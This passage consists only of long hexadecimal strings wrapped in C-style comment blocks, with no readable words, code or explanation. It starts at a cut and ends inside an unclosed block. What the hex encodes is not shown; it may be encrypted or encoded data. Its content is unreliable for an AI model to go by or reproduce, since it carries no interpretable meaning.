6c59f1132945e9f26829afff7db99e57494f9d4064e4f4974b0242b4b57a4a35081e6a4788452cc765b59594c9cf21ecd82ed307a4a73cf67fac21578ad0ccd4fc0794b8a1703d309ff5ed152220e24afa4f45f946610b91f6e7bde11ca240635bbd930edd6697a77ee2b4381c5b6c35d92477eb7835d253988ce1fea2157ba672809c52759a77a346676472163539cd1c20dbbb662700172db60929479ff141874f2e36059c72ba38d8cb8721b3957a601c485f258533558dfcf03dc93a06704f361fc7c50f8a773f20ac276cfdebef364314fe4ecbb3d76e519663178f166f99343b5511643cf2af04a9b589ac2c241718ee7c574e8071d33a4e7f5f3e3d5443620b492233e3c1e6e565533a12d3f5ea4e27ca34b776994a7efce80bf7c230a6b81fea877fcad71233ffebfa092455c56704c7a5cea510587a189a32c540b37fa21f2a3d81c0f15367e09f693f20abc5325870617ed2b2a5b3f3e300ce4ac4bcd05bf11fc2420288ed68ba7061f9b4e1361cb6858c917a5502a13c577ad1ff425ec7b8942a1b666dd9ac3a83ea524e1dc3d9e1f36fa13fe41f41b55dc63d9b57744a8b0bfc7fe69e6c882e435104e4115b59aa07d0f9559086b0f17be69fa41aaf6ddb55f05e8c0aab83256a25ff1e3419214b2da86fa5d03f16b47f189c790d29c754ec8d92c09e7ac228dddbd4f99820545d452897b16e339388c99746cae30f5146dab8b08df47423ec531e7bac272a9e64c66c6497eadd9d48a5759e32fc2e5aa674c7932e67cad5f85097c7b0ec11c0a2a035781ba2d4012fa1de4665b692ecc22c2bba52fbf2a2f0de8df5136629b3f85dcc73210d43a326a746aa4bc46b23fa54d65e48f4f19c6d985f5b4aa6ce3580c834525563f20db5be38fd422f2e24beb7c078a53c3b9a8b5d78e88b646369c8ba99814188a76bd4f2c83c20038c4e757d550f290ebfe7f5320e31c5b67d62d48a12f7003f9b30f9bf1a50f8cb37dd384d0966bff0afea8c352c14b395d78b886d22b3b96219bdc4de2ccd6ce763b376e4dd60b6ee8c6e7e37c9cda117126746fe18e22ddb6940a266cb87316bb11e160a6f21bc842b92af565af4ee78b6ba2143161a8714a79308560e666ebff0e0bc8e23da45744407f6211d17c805ef99cf849027306f57e8f2d79ad77b1824d357d5cffa89e606bf3a81b744b5d76c404fce642bc75deb2a5c5fc60e466b360637db7a7ca8b187905ecb21c747ba91274dfb73bc404f058c94cbaf351940fbeffaf0d79d9c792e0c1343da6b5571c73c80b98f69829646aabadc316cc654084791f9203eaf6f8501a4cfbeaacd7bcbf88e77c64463563d1c75fb99eba70b7b7f7fafd3205129f9fee8a23ba00561f811dbc12191d08943802ef2654e40027c943ee76ce3fcc5dfb472e036fac1c4387f1a7c6be7ed7ad570b216f99e4ead7c6fa44ecd8b54ae5a847a0e1590e1561f63a3397*/
/*9bb26e43f2bf12b36bcef71adf0c2f8da17860ed0c13c6d100916f27fbd7f323cbb90b50a2d2f8b9dba5ac0de96984e1414826040fc86220ae34999e5836e62b1790161c09e72688154c80f78c21a134939a619c682b456dea0a9ee6a4088f0ad46b94123c084cbd1a3f5c7e62ab7e5079440d1b1101b1b517788525ff46f3b8d3e24cfc2e23f4e5fb04d24f3b36904032209aa9946d639860b74e66e276edfa4bf050d646256d2f937940811e3893ed142b01f9298695951c6fdb22ab7b74a3ed99f2e71d6a330c6a23df23b7bcc726444acc0e04eb609021a3385953e2f58d644c4a93bcc15be6f3ce537fdc9bd6fa7713f62f88328c88cd04142d7b0d509b42b516e522982ad4fc581a47f66e1ec3861dcb0fad3cc78633dc0b23b3daa6031461ef777636feaf64584f2443f43fc296c968393f92c957dbed30ea1ecbc26fcd4ae1b68c82f4cbb97fbfc1380b1794e0b77a9ec41225bd19e1e4d9d4e99e56cb38f78541bbeac2e50c1943c30a687a3b72d071efc1051a85a2aed79f58020ab92f315c5c51f205987e078fe93ddcd238f189cf9368cc89ad0f28379ffaaaae69e54aa8bd11aef65af13930eb5a9513a777d903e4d6645f68853d2a76d3517e48a68ab5a496d1e00138049458c978b567a251d8a9994b1c5f21b1c7cf36919fd991891111875140d6993f0e9020947f823996f57aecb2b762b920222fa5794b1ef2548f2870461e469994275e8120a37d5d0195658fb9e0970f58e6c4008d33449b35835b20a5224aaaa57b2fd1a69fcb1da031b17ee59c3ede825f1fda04cd0e0b16d94f4fcdee4b6cb4e92895b8a2c4effcfb425ef78477070e4567ad9caf157c0b20d5eb8934c1125e4d472a78e1a04af33d22763e9d33dce627b24f8590987892ce71b8a1d7511ad829f0e14a7eb7c6cb33867953449aae6655ebaea9bafd291a6ae09978d7926f590cb3825309289f460616c222cd9dbdaa6648e8de7a94cdf8befa4619ef7624cbbb8705d85d2823c0680e00d3f32e176406eedaffc2507b1373f69234a5fd29338218ca1eca9f406eef92639b3c118bbbc29797579ef103151f9c270d54f18aea0a9d6b1028aff853f17c737093831189f343a081d89571f3ad55ed25214d3ed336e7595035cb223a168987f002f9a89247b88de8ce026110af506fbef0581c5bbdb5da3c8c9fb9a25ff16bfa62d81958d4ecc0ab71cf6df645e02b1a38624c503f1cf3713c31717432feb5708583d9f3277f09894a44191a7bb0aded4c1bd1c5798f7f927de17ac598cd57db13e60e8fc609cb9902d4e01ef4c51b2a6705734f7972591d2564223d9fcb9d2ef8d6d21da8ff6aa2eb9cae37279d940f811817ccfdfbf03f20b4a144e7606d06c04281b81102c0ebabe3439eecc21e7e9861d0bc96a14806d0d63e2cd318188d04990933aef60274e98d92130e153fd7ae3ccbcb45d0ec8e1f66732fa5a6eaca83950f27dcfa6e4fc23334b84623d9fc05e337bb224d671036b470fc0c1d8e9add54a12e762385226a2fba5f27b27a35a37748a569da9578840045aa5b1501c1f4fc4e4285a3947c2b7079a35981b54a7a36badc2065df3f5be99b674a4b2b098d72aae5a30314744b8912d917e1fd001eaa7eb33370a5806f97e8c2d77a91e43f99e73a3063ca262144141f4c3de1765b0e3fb75ee933c03b650ca9ebbef6b7382d9ec95d7635ef0123ff444dbbdfe561f63697394eb6479bd896f8a2a947c228dbff8c014dbeecc335dcd865bfbacc78e56bff7fa7a4a10bd861913fb777c872417cf33c096e10037158d567945ac89a8dd5ae91859ed2baa854de1048566fca2bcd5435d0b224b8af00f55b78d69b07d1fc21a177da1cb1ae162daf4f9efecbbec1f12528cab3e2f34aaf111067a137870edae6b92f140734bfafb988470fd401e59d3e657c71b78ac91cda8d35e0fada8312462b592c02bc8c05eacae8ca5af9dd15f8b613127715609070bcd7997d591ce22343a322ce02ab0003bdae2e6c95036b9325818728788393ed92f706684799780586b63401ff2bf2af60c590d4daf2cbb1f2a397025fd63f4bae36c3b587e62671497f919339103f75e3d5103657acd201ddc0a5c06d14dc866910ede9826fbb93976be49fdf6721760c9bb528dd5e1a6830d791c7c22b64d3fb95133e59d1fd6f6e2ab12ebb4115d874f3f8bfa354c67107a7a14e0c092b17f78a023e27539fefa4d4ae95aac97c8d80c6c65bbf36958dcd82dd5a6e31ab96f3112511e850da90f9bebabc5c8d1444450b9951ff09f469a7a390d2ad5613efa384e4e6c0058bf431a4505c9b65518a2316a27959a2b0dae5d5f0675e50c17d6b94bae79995d3595c89af496d1f0d215234ae00da7e08df69e3ab819f428b4b357451e53de344113487924ecc18347b18de0253bd97e5293def5ad9d0f7bd744a884dbcdaabc4d98fdfeae55a35ceff759153e42680be87401ea83ded38e1a8888dd8a1cec4360352d70bd1912f2c1380a9e214495b3b2dc6c1e1b2c02dca49154da838fd853735ba87cffca597ad4d0696174b649847e63432abc0f3f2bb2b6e121a9e0bf09ece625dc2941252c58eac73d6d51c73858df10e0d4c721917400d526e8a49c8f0a808778b63265d6ef056698fa24162c4327e0ed7b3f8599d778952ea2efdabeeaa686ddf0d3de97738b2cdd1217e295035a161a5f71b739e3cf3a78d404d61f5ddfdee72156cf62c5b5d044e90f86ae17052994d24dd5dd05037832088123a7492328a408bbb73d1b46532d66af082e1d5cd48ac5ae94b5ca1095ff944d85ed4b156487e8f*/
/*413a1a91eae5c8805e72cdb6eebabb44144b04bee23ebdc65fdaa2ff22e89b3e2480e963ffd66c955251355d3db39380eb65248cf22aee0778eb2ec356e6498e532abbbc787daa87e5f15280c7de6d41c2ba654dd8b3bc29703726cacb4644fceae9b3aa3b115df062b4c8d955afe7a5b9a7d22547a784c0dbdbbda39a2c4d360f3e2e78c4b9fbbf73d73b7939ead49306fb6d30e2571eb7b402455f2b13a7cbe70bbfdbe014ac5ab70f2347fce3b67ceafde36e88a9e4a3d6143437c30663856a2eabc619aac5b5092e202df2d0a80f61e7f3334b6d5e7ee5ec689f7cfc2f8d98620f1d492450fc6ec4d42865076cfbd7b6384a6ab12b6fa7b5a840a7023c848f7aca3ddd2a548a01959ce2bfdc3a5cf3020b480c9f013ce2e51b036cd137917c7b798994a303d46eaab1929536073125e3ac910ed5a59dffb2ba828486ef5bb0509d1967217ac891cde73b6c4466b7425cd5d73f0fc1123206edf749f484ccdf4a3f939827d57376ba917dc983f65d62b1c7c7e49baf0df7054a62b48bd407392ecfbb98bb6bdd303d5e0e104487b8c875717440cfb8dc3788a19e494bb69f24ff767b7210470fd43ff01c96f8adf71408ae0ef5ab01ad21a30de1acdc17ef5c23fdc9448ac329b2d069b16281e5d6172d3d306f5e4d5a715d9d97f9185eac2ddf0e510ef3b96c290dc00d8773ee52dc06ace45543213ddb59ae232e889f084cec7211c69e4c0f4905f9cebc2845e20124ebb02749e6609dc896e4f4a2c69eb42e58252a91a8ad72aad96c9b0100b2b387a39fbdf9b52c1258b6d0b51bf37f1f49143edcd340926f3e120f06bb8dfd639190f4f13aa60b1a2c8a9a684c4994f3b95d3ec7c08cb7946caed04208c84904e82d366534a4059d1bf9598d827d11ef2f2c7bac12facfd099175eec4079ef3875f2e49a8247aa1ffe34d674d8a2ff8b350d8b920fea8ff2b7dd053b4c2cad57e506878dc67b57ef33b81fe8e936919bcd3827ff11407d9c02b390b32c2ee89371f009a6f412c27a6f98d0b31d2a21842a5414be6b3156e2ea1476668a73860ceb291f520caa4dae5654c8ae835d2a4c8315a4ce5a3b1b61a98c5dd575c9c5d5999154d8c5e858c6d549a41fd3e4f5e71b5b6a0e07b83a4ce24431d293f5436aec917def45be6fd729e9f9468f24b8da9c9f1a1db283f2af2a28ed1104589c6b46fc9027a252e3de388498736a64011c6292e3ab397a88e4668ff5f37596fcd8b9bccc08fb308cb5fab9984be8e3dae26624339e6b94016847dfb0fa764bd280994a3f998122a12f90917aa3375f2f25fc48e592a1964a6e6dad9363d198ee79a75b07fa34b406faeaed6a3f4291c9e3e4b19e3f5186f07b1fa891dd74cb84e0d0ad841de6718693cdee12c4470e3c796bda5b2442af5ae469f9363bed2176552ac80f32e230531f0b15230e0a426220ddc99a0a18304f72c78c7883398cbb39596e875380c37cf1dd1a020ef9b93af36413509c0d532e095b83e9ad077d77a878f05b762e99eef41afb98bea177de4fc4cb5536875f10355e8a60f567584150699c64551c8b33ea6144c01d88c2acdf6d2795a5f1176f911a0e715abd9a828da86b4d054b386359eb731103fab702069807853c846693a34e35bd42a9c0d117ced2e3f6d438569b79245906b2f09a39547ef5f8b4a694ae7776c1adbd29071829d8211934b412d5a04052b7652eea60a2e2754c5a475463561afb441c9e2149984df555f24d6ae4055ebceee7d29463f4976967ed714e86b26d7be0f27f88f137689e7bb28737bc001d7945d4e06b6068280269e90cd818ec28ff75f097cc8ce63e7aaabef1d29516bcf33df78b561a8f4b75da20e78b78e255f958a07869ccc39d679cc60d6badedb1c8a451819b08502fb29408db2c0258cdecb1d673213958424cde73ef045d8d3e3ebe93a1d1eff719881f1405b399620d428794903ac720f0c14cb3d96b3c20b46dfe4e4c74179e4d387f611c33365f6f76ccb4fc5a4765df1c357df80cb96260a7c5877cf054ddd909bf8f7192ced00871c596cfad520a37786e4640f43e7bbd0ddc5b7d19eeffeff9332c35ff024a60d2eaa5a165539d2ab5bc44f8686fe87b7a47d33cba0de85b7485874c85c3070ab1776f7d644b7e66cdc7fc0d841edb5f033fe220c56b73f125c97bcb26516b523561e55688c616a785a4ad03ebd940f418061e30b86d73198ffaa3ca578558ae0a04a24d214a3844fd0c015f2bd91b3343706bfcbb4536d147454db18391c78df0d691707b8f74834afe2db8c52815951d5d5ad3fffd118baa2d2b5e80f6be878413769e8c91ffdb860c6df2893b781defd4f8d80b48ac0993a10d327e46f13a3e2ba6107fb0c5dcadaf6c5f06fea8af4e56905a9cae9541dc64e4f6e8352cac09a72084bb327df965d0cd5886c3a39ff2e7dc7479177f65e7042b950490fbbce6f3aeef4525f8f78ea9961593ba8462b395dcbf9029f8d92accd4866e3144bb8024eb4a67149641a66f137f91b561da0a8e2cd2de96684fa1f65f40c9507be0e0af07e355667125ce2c1cd7b5ee5293e0d1803bd74572bba5f7d6c6963553f9306e7eb84d60cd1946c400c3bbe7fcb476e71d9eddf8ddaa78b6fa1f1dbf948d5d909e56c7bbc911595c7b6108c0166449a7d409ade4898a82b8ff23f679e817d459451f0b78cbce982e47b71fcb1e7c06a9b55b5bdb87542eaf18f61ec6a0116dba096f94552d4d904ccd2e3d100f5d07bc85236c2c909f93f3c9291b6cac16e8494b974f3e2d23220a94b5da7c495646f6c60f5868de8993cd28ceac857f9af9e58dec1c*/
/*be5c7916282798738ee2d98b4b89615c76cb939c7553b1760056449c4564892919a69af82be7afbed3a27cb6c2257e547538ed6992de0511d775c9f6759e88ac0391c5c2a8263556618ebdbcc6268ea3959b6b7f8016783d029b7a8e14c26643883411d85b98914459212ef39cdd34e18cc1e530700c490936b862db725941a8d7738382b3164a5c9f2d1f3c4725873d9734c1d25eadf90e08a16595762f358d50dcbdd3d3d80f9426c87b158723f39aca91a2310f43edf9a2337940581f2d26f9dbd6f2e06c4ce517e790e036ee0eb2bb23a7ce47e83e5891697b5f6a521b09c10d79733de0e5b5e87573a779e0dcab58f403101be67c6e1c3e3400b937f91136d411e3ba10e5e0f15006dfbe5577e3ecea78bc88bf1a4d31bac6408a330aafab50638e4235fe214da07ea9697980d70b1362f53abe5a29d43a334cc0ad051ae38df5d2b6f31905379075396aea82a3347ec410c9cbaf3a83f063256342d7b3cc9eb75519dde3e55c0c7c27ba479c224531e3f69b292c4868c8c7701f65691658aa039a88f94d8d6b8f6a669f5776612ad32b6534503adb22bf15fe5ea0b5529fcf032310730d78550839dd5bd42a1a45c2794972be66eb3296da9ff11c27a4bde11caf5aa478088d25e30e301083fb3418ed558e195af102e3cec8668a69e7e6891dda18b370b2d920e0180d0e2bda95d5d2e42ec35bf92fc829772df10f15014f6c56621f043f41c2643d24a4098770d29ce83615b920b12bb15b08e78a9d34557e52e687a2b6d273485f917e7a07410dec849070bf077cc6bc6fd8b4467375d0f826c247c606cc6c60dda7a00653669509ea3b3beb93ea204aa95cfd99b2acab6750d3c6dec8c09fc02370223c1b97b9b0bd12837a8a3198562fdd5679b270375b4e9eb6cf7b446d21f11d85e0fbf86aee6a809ff8fbb3c499b28881a1053da1a8c4d94165bc52f2ad4d170cd5879d58d17ed881e4f07c7d2497d0488659d32402bfa9835ad1a7dbf39b74f431aff8d61f3f08f4909a0197a6ea2d4b968f8a4799402dfe1393db0d514a4cf37bc96279ca2e4775634d7db1adbacbc35321b9073bef5f99840b3e43a51917e9defc0a0a160dbe6e1fac55abd79be3b39bfc7314d82c921c30e47114600132b63407fe0fc090ad2dec7185e75238b09ecf6b40fc465047ce398ef797c2bc8a602ce3f5b539943ac29db92e04e6b184e8e0aece9b90a901c1db5ac763b2cb3505254af04781c1be076ade00550ea06185babf369692e6b5c3b0c9909cf80558d4e46bee5c95d37ff33b153b72e166a5f4013728e8d1b73fb9a06801981063e96e0e6b854d324bbd2734cd2d3c2b0c7ce94c447da58d225c72ab1f7dabf65e1ef162faf1429062fb57b214c119624b17de3c92fd1468645ba6038482ff3b49f64af267075f21e4e91fb045619c77a9c8561d1a4df5176ee886cad6532975417f526bed81b34e4c15db520ffe05b4d3dccd70334646f3f97879243fc8c481c61b2862817734dba6640248b5e699ffa445009c6ef6fd042dcdbd2d5cc32de7f63d91862d85b1cdcdfbbdf3b82abc836b5c1ca8490817992f1ce2c1b94d01af06593c3900667f196549b4eb05c43b642a35d2a461f3f503fbb899204e2e021b16c6d5764435831b287af4cf9e485ea41b55ce804d09f57bbf404b73a0674074f2c03e961d0c387f62a922e59e5a412891b4ee09d7f3112cc12ef389890b2c9287ebb138238ccc6d7dfe32910f893595d1fe0f4feb5192477165537a0d73fd5048e5a059048df1f0f84405f414e2a4a6e31ec08fb56ee4f051f1190d64ecd170468c587d5e45baf844ff138c998c1504397f8db396f778ed8fbffec75ca5728a945d4885eeda294b4408e36fa1f8056fe10a3d13533a65c09e2d42f8e0cb2885c9a2e01a6aaf925698cb36bd8e7ec5c8a77e1e7b8524afc4558e217894eaa7a1bc1695d577bf7c2e9ef0641ee6ba77c4229d0450e4645906bca34d9a7a840523780aafee462a19a80a530f8b309f212478a9bbf8c9ea7a87f3b9761a48b73d1733b62b2f27b557fdf8c993e7b4febb1180eac16314bf621686ce99579e3b2f56e2eab3834c03fbe585ea92904de2cac0591d8d519a624a2b652c984846b129666d1a9b526473da209c9f30611ec8dd6e44e4e2013b5a338ff13611870ab4b94efb817b8522b39cbb466191f142a6948fa84fd7a6b9b807b164dbfe97038eda5c286bc77a3e911ed83fe1d0802883ba23ba48140b153e48aacd3bb41a3c44593b5a3aafc013e3d1f8657b5f8ae23e48e75e75bf63f0bcc6156594f65c718ad2ac2296611c2d5e82645e6b89992428386da0b9042d2bd4d41bbdfde54f1cd305b4de6449bdfb72e2675eed7029eec8e39736e4aab37be9ae6e1a465a5fb7a4a856bd935779ee7ebb5f5d61148e879da1b47d45fef4d2f0a483886fdbc0af932fedf60cb96e6ec3b641f688b67d97494ef9543f9ec1e520599b60bda6439c41f02ffcc0e455272abb78e423fe6f0d0b0c742396c3e433a102771bcd21cf04382ada0120618c0e6d1cac82aa4147acc5bf6ee24de4ebbaf6af9db9b4afb001853e815552212a1b372ef5b4adb63aaa8114c6ddfb0bb9e8e158699da8896f70873ca975dd0ad49091b397248199f1ba5d490b659bc2a39a586e1fb840e41e762f7a2bb9b6445560e6048f59d1d091f28c39649bc79f7626cb315040b6c2b5fedb00781dddbb864e5633a332306ac018ace010512bc78f4fe60d571e3a0dfa5df3878003f93bca8f638062c08b7184679c0f54921ebe902c07a62200eeb53d4607c4a7cc0a011084*/
/*23a632cf54c7250b1296f5cbdd26fde70205fae048d06c50123736985f2c9eff45bc45d231c39702f6e6d513c9339a9edc1d7869b0889a04b6128b92d1f85e873dce3cb61314be2682123271c50840a7713dcc75c75fd4ae7509bc6cec4aeb0854c425666991db5add4ccd87d66b399910bc9f8e06e1f77c6f142398acf3be293bbdf954a5f9341e18be315de9e4659b76d615d4bb6d65646c239a4b2fa7b7731bf6a839ab19080571eb2796944fdb702757168aa040c724e10b78d919ed6d29659fbe3df76c78549d009306709d2f418ccbc55680dcb6822158e8e83413733625aa5f4735efebcd0a5b5591fa064a51e0ded83e5987ffb279d3e79f28b68dd4e082c1eea0cc91d699e5caf4bcdc364ca83e3e17ebc0732c356ddf0773190a25f8f8cda8bef6ce93783141e72f235fff94cad53291c1473bf7715bfa31c4737f024f9ccc62ebd0c4c1e21a6dbc5e7902f447b39c09aa98bc222c0d19f65fcec9255ae5c4b5c661c396c2c22640e27186220f3e1c87a1b4c40255c40f6123ddf239305509659be1fe4e8b2cf16bc470a02d4c45bad8b1f9e17164c19219bab48aaacf3c773d7b705ef9e9223abd912221f3627fa736281d364897ac2ee34b690b0987412299409be26d0c1fb3abe9c29a8b3a6c96b78bb2403c64dbcade32c51bb23b7d2583a7bbd9f820eb8d9ab7ca7388379c271dd8f1b127c644ccf0c1df9c80c73b8c9364f424736161b34689f1d6c7d23f7313e073276f0bf39bf9c6dc7eee378e7f9c8618c042fe9a74f0b758969ef8f41494ceba574d3920324316b9bea94b94b789b70b899404ba7832bdc9de42adfa13b58295f60d92f788f73a7de7f36911fbfcee492a0120e6925378caa8ef09b0bed1a1668e66c156bd7966c84cab7d3174e28e4b8b4784eda45b9c4ce092dc94eeb257344c7bc7cf80697000c38bb21bbcac83432a60f7e25d26b97d8059c4767b9e300514e977b231600c554e5def21c6a9ca9157c58e8b2e65845440587ca8ea2c3f347c318bfbf640da6cacd77de53a4021a821cc3fa6fb22ab24f43b001a6e0d92ba79bc119a5a06a952e6d2e133a59561684d7487cb2fe9e4856c15aa8cf9e45928659b829ac2775c9a1573144af6b1b5a41aab60021eec12cfb2281db525f72e47bb054ea304510662ad8cccb80ece119269463cb90e4918e043ac8e865340b93e8d9e330eb520e67db49b3c3ef32d380c66184339433bc5231421a62451d7e6cb54229d3460a380878fb29d6096ff74d6e8381c0553a88237a22dd5ec33b6a9eba73d5d2243ad7f1ca3ae1b91b85d0afc1f8b5a15dab784ea159115172f33ac973d17bc3d506cab7142a3ff3d4657428fb99b08330c6ecfa5afd55a2a6f2183cd5d8700e1481b24e887a5386823bcf17c5af008c2cc2ed96261fbdff7bb276db8ced7b6072994b503b43345c1390aa020adf9e36ffa03d26ff0b755de6304e0d17e5c8ea2ed542d9d15a30080c88262fece8ca7e60da2e618b9b5936be45cbc9712a940375b8d84221edd47d7b4b18845a10ce7b735166c5e5b88c67f0e906ca039b2c6c5f1b4b9f2fd5d2ea3edd3a85d6a72e7d03f4d98473ce74cc420ca2fd7ae19c25f411532a3391377a263045f129a823aa0debeca15ec075ed11d6ce0ee1ed0804ea09bff77ec648a6a09199accc9adb9b33f8e191443533580bf3d70a6a8caef8c333572b4d70f796a7fdde5cc89b2278ce8b72bfa2108c3e4d515fef360d673e718b8a9ac1828b03698ef11feb9261fa4747194775ab03ed41f24b4b7c1a9b1c82b231795b3f112eb0ec14c4c65433d34607b5c9480813d20e7fdd9b0014e66416aeebe5383106f27908ded22ef4d384bd00013342822f41b0c08ad2710a62fe2581b8b766f1176fb9a3cf0fe799ecd7294ccfc58dc64b69bb84ae065c2bd9d70d5e66322000dd522ee2dcfd9f63f6a8e5f2f313887b18395823cf8a347570c9d98f384a6800e09792e2fd4e43aa504fc28404094a5f12ecb772c2bcbf4269328b8b8084797abbaefe871886830b3007716e5f1d5061b40d97cbfdbda9318054556efee501b613d27bd657a32e45ed45cfb9a320d85eb479ac3d95e631d0511c2a3a163ab406521466f25605e2431e0cdfc92a06cb6c652a982b673e397914f9628196e935cd9b456a3dd4894e438df519d72d3ba068a44cface2962257265d719118dc61e816f08fa81655c7228027af7929a4833e6774688ba07b6d0a06540c4d41ec7ebe4b897254e99da08069e45643841ce4725637a493fd926e5abee74de9c171d0032513cc9ac025c37b7cacafeda429b515722e3bf6a69a75d28cd36eb81b0493cc5c1e4a02d313d8752e2bb69a99aaa14e9530b3451f3bb0a3d0e25670f5bb50a0b787400af6a6ed79530f9e17493e028736e5574f86b295df6e5d4d011b7a4cdf00e605efb61151364a75d2e1789710cc65d3947d7120228ebb79f68f126ba87a3a61ae4b619327fa141d6c3aa78a9a584ba4e6435ec7a53d53e96c09c38a45d33e9159076536965653776f89bfeaccc8360f032557407c5b176af7fe70b95f4db0bfd92beab531b3cd4deb7d6a6bce5e802b1541fe8ff506509b4cdc42151ee78813c897223e760de694300febb98e4afa32bc862260bc6a512ca9e0118237c7c54144183d692f847c236525b4de6798bf188f8eba625a6e05a4b7c9e8c93f6776e09209bcb8fceb2c9be293df659e5e2b4dacb38fee24c65ab35df91828d7ba9062934dc6bdba8ba64b0adc6609bc967a7482a1408d89b5ac5238c1fd266ab59ad41fa69dc3e4c150764b7a79bd2589*/
/*38aebf98e99f865d83b903e2e9494c937ae65addc2a5523598de31ac9a045f5a94ce171a68cbb84fd079b564ed790925aa25e00ff98ba39f643e8ae9b1a50f47e629ef7147689403f51d897a3f93db7cde26ab30fbb5271b8e0b5ce99c488d0caaf178b011c5b129b06313444016275d485b5046b2555bce880b3190ab4389f987b15fce68a21df35d8d98f193bc37d24e22f944946858d2b976ef2b21d2a01f2dd517b5118b73e9f1d8eec64b46bfc67086ac6e2721f9fb69dd4f73593695af5195e7ff999ad6fb43150673b8b067206bbbf91affdb82048655f557bcff8051ce277562f0bb93995086a441f5ea1b258fce1af1c57f6e56d89f53986767ea55439efb694efeec990266ac7360db307a1ee7d1849a8750d390c476ce0d34aabca59ec8af88b6b4712e8a3357878020dbb283df6452e3a2888aaba8a82b8000857f63f4f5e7bd14efd0515b103e4ebbd21b937b2a6b9256b08148f5be88eb7b736b088b2ff0315a0f3057287348cc966f880121ca496fad9445b56b48ffee22cbc4fd10d438de75f2b8bbaf1e729ae5cec4ba5c14c3e3986e96c159b10ea87067bc998875472a398dc777eb99ebe40c42672cedb3c523b4af59c3f56567fe92987fdf114546c644711e5bc0e0688807f848682782b08bbd611609bc6cfa8412989725403ef323de6fb8f513d3f374f2a1f6198774dd914e1c754345248fe782f4977c2aeec74cd7c0dd460555373b4ee736783da5669eb05756b558e750e694169b08e1baca648ce70a6d9f154db5c47f5f491b023679d5485219ff59bbd39057365d8c454272ab827bacb268ba42ddd655112bab878a9c8f3742fb9ee2be7ef5421c4d3ec5b066821adf24cf70e5426de442626e5b2e68d20396b68e6a27e7434ab0cf1dc54aa31cf1eccd303bc39b13713b1d3de25cb99986a951515a9369e79dc89981a5b345d73798afda5a9d01846643ec9f5d3ae602cc8aa67069969f55b5bf69d20bcfddcdd65045f0c21d696d8f076afc180a9e76e2a3118c42f1227774fcbb44739164a60a757bc53a5462df9f222b530413cc6fc4cfe030d4a18ac6b66320d5b10804f791ba2c8b72378a33ac446987709586c59d1eae899e86c9e1564e119e121d9e191dc950b46b2486f6f47b1887a16bb7e488e1924511e3404b5d0f5162e50df4a6105aac73e54343ba63e0c03bf083d319e74dd3e33787fa9d8a928a702c9a033ee8633b8aca69722d463830115defa091730526e5d3b879f54f78134df519215a02807a735214addc595e0e219f4031d4a0cca2f99a6800feb18bcf21b8ef992feccff2e99d68d3f46c026babd48cdff746a0b9ddc938e9e03df518685a4a23c6540e39e1af9f412f13a620de26a71a5644b5fa1b60beb40ca636c5aff424acd2f754cbf2990c6ba1fa59643b91c1cd3260b049e6d7f9a8848e317c8b318f17171db0e8fec03f8f62ab66907df4339e69cf233ee07423a7a7c433423e0b654d481482e0763d874667b729f8458a025b403b13c2cc80dbb33867d069c8d119e85e7b17c184618c173b6f1861f226cd6d6e511db5484ca664a2a0938862967b68e92fec0452fb016fd0f4f1bb0b86b8a65db89dfbcac9cc1a0cc3d3abe8e0104da84d9af7f586a1a41e1180c627b2a34e39685644b8775468b6815abeeaf1d1c5ce88c3f8c5d4e126b69cc80f706b7109c18fed25a69c29e6941677e6d88d1313778755dac223adff30f3ceda34154d95c38259deae49461341a96a5d8221df4f153df6e0c8b3bbcba79b6ea544e370751c4dd4c74cfba59454d83639115cbf51192a77bafbe1d005fdd92431ca1d3394d123bae9fe69a56bf69ad72015d6d1f6dbe0e5f5cf0b0bbe62e68320e36de1116d58193e40c5b3a3d574556050ef9c4ea359b07a0dfa3355501d48d283cc983dc1b8ed6bc353368d54db1a1bcb1c93289d98d01fb83b302ec2ea41ea2e76a35f71b004cd5b2245a8547e4672e3fedb5ccceae909d48cd492a7c03b0069f345b4dc1e4561603b5b598170eb2274ec3268a6f58df074c19d09306f783470f244fd644b8788b470ffa5f2e0377a62609eeaf88bed0b32d8e1fe01e30eea933c8e860dc21e872929e3fcd9838509651670b3a14e3105ec94c6d0d521e81d3e35276d3bbf32073f3167e7c4fc5c6449fe610cb15ee092b2caabb1413e96d7923a59b18470350345b4ea45a68dc09bf5fec729d59afebdeafe68901d622931642f4387949273d426b0f0648e5d7aed94b45f73fbbd57a385e52a5c304670ef0dbdb2df921a8fa7b223ded63fba7e0ea9483046a92874d99b618a0e2ef790230a97ad3dcf0b0b0efb966461bb7abb49e29830f563b257c26bcd08f4adb88f6a561e92e6bca63f88eecc6c90751c201dad12feb4ec2207f37bc8150af1d327268412322b03af71f3ffcc1e12e84dd8a16dce6c77ce275359687cb774a19170f2fd1ef5c20b2df24472bf7edc64b79cab7acc61431e0c1b120785b30f7c92590ac70072b36baa5f302e986c7ad2dafbaab9fba913d8ac3b3c31b4ae7da64293ef375f01c8acec724814ec482d8ae7d48cb2b205a51c08d816b73824375106eae7ed4b3522bb04e553dd12f1e30597e4173139fb3aeeedfa96852f4118e2daf8bcaf52e151bc9b88124c5c706da22d0c76f3f89fa2b3bd8ffc3902a97a3dbca6aa00959563e976148148d2858d63575a2eb773b5bfe8b183e818eeb3ad51e3060fa933854c47c6eb37613639bb0327b544dc45ae9a9df2b0d3e00eb683605515d64f01cf0f9908840197a2589b6c2b8f801d21097c40db680173a4e53f86*/
/*ad996aee1c9acdbd810ed4fcb7fe7a9fc5d4e6cede7d197b9a82e3e3587d6b8b7779b63a0d8346b8f787dd06a4b628a18889f5eee707f1d000f5a41acddfd34af885838897be8960834b76fc36444382489059b3d5c364561f9738ed8dc2786e45226c29a5aecf9bccea48f48f7b84b63c9a205535a6e81b364841e560e5511357b70286ee2065436fa78c5d6b721221867ea3b9159dabc82777eb5d65dc3c82556f2dca2554f4d7d031249fa4451b681f0b9cdbb2641fd5db35a262bcf4e3766227608bac494b4e8098d25a98b61725d9faf9ae237d371492f541cd516b1c97ca49f2e78ac6011d2e56419e2f12970a1363540f210ce4680cc0f65e4967b38ed51011f1e9618524f3d35fd8aeaca472e3612fdd721bcedca23392940971a642726bd34392a27ed8402582b0233961fcc6ba8c12ddcf4d19cca73f8c55776519a416c993476c70904f1a88dc91075c14ee9568f001cad2f201658414451b4f8d5348b116c84a95646e19c48587dfc0f202fc107c993fa65c17e3241114a3e158fd9889342a66c82c117d8cc28779d5be7eaef75629f7055a8a057ae635c9502b91768572158d3aac99d5211d0b97fb5322fa0687c71f400b4fd5a28b349e89c100c351e4251b947276872e31e7ef42d3b148287443a3e56ac004b9cb16d5370b0d952cc82da215a51b6c9dea71e8aa4b42e